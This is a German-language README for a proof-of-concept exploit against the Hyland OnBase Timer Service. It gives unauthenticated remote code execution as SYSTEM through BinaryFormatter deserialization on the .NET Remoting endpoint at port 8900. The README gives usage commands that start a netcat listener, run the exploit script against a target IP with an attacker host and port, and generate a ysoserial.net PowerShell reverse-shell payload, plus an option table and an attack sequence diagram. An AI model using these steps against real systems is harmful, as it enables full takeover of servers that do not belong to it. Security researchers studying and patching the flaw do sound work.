
Proof-of-Concept-Exploit für nicht authentifizierte Remote-Codeausführung im Hyland OnBase Timer Service über .NET-Remoting-BinaryFormatter-Deserialisierung, mit Erlangung von SYSTEM-Berechtigungen.
Dieses Repository enthält einen Proof‑of‑Concept-Exploit für die Hyland OnBase Timer Service-Schwachstelle, die eine nicht authentifizierte Remote-Codeausführung über unsichere .NET Remoting BinaryFormatter-Deserialisierung ermöglicht.
Die Schwachstelle erlaubt es einem nicht authentifizierten Angreifer, ein manipuliertes BinaryFormatter-Payload an den Timer-Service-Endpunkt zu senden und beliebigen Code als NT AUTHORITY\SYSTEM auszuführen.
Der Timer Service stellt einen .NET Remoting-Endpunkt bereit:
http://TARGET:8900/TimerServiceAPI.rem
Der Dienst akzeptiert nicht authentifizierte BinaryFormatter-Objekte. Durch die Bereitstellung einer bösartigen Gadget-Kette (ysoserial.net) wird während der Deserialisierung eine beliebige Befehlsausführung ausgelöst.
Python-Abhängigkeit installieren:
pip install requests
ysoserial.net herunterladen:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
Das Skript gibt einen ysoserial-Befehl aus. Führen Sie ihn in einem anderen Terminal aus (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Drücken Sie nach der Payload-Erzeugung die EINGABETASTE im Exploit-Terminal.
Wenn verwundbar → Reverse-Shell verbindet sich.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Option | Beschreibung |
|---|---|
| target | Ziel-IP oder Hostname |
| --port | Timer-Service-Port (Standard 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | Angreifer-IP |
| --lport | Listener-Port |
| --gadget | ysoserial-Gadget-Kette |
Der Exploit ist blind
Erfolg = Reverse-Shell-Callback
Der Dienst läuft als SYSTEM
Bei Blockierung alternative Gadgets versuchen:
sequenceDiagram
participant A as Angreifer
participant Y as ysoserial.net
participant T as Ziel OnBase Timer Service
participant S as SYSTEM-Shell
A->>A: netcat-Listener starten
A->>Y: BinaryFormatter-Payload erzeugen
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Gadget-Kette ausführen
S-->>A: Reverse-Shell-Verbindung
Dieser Exploit wird bereitgestellt für:
Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine Testberechtigung haben, ist illegal.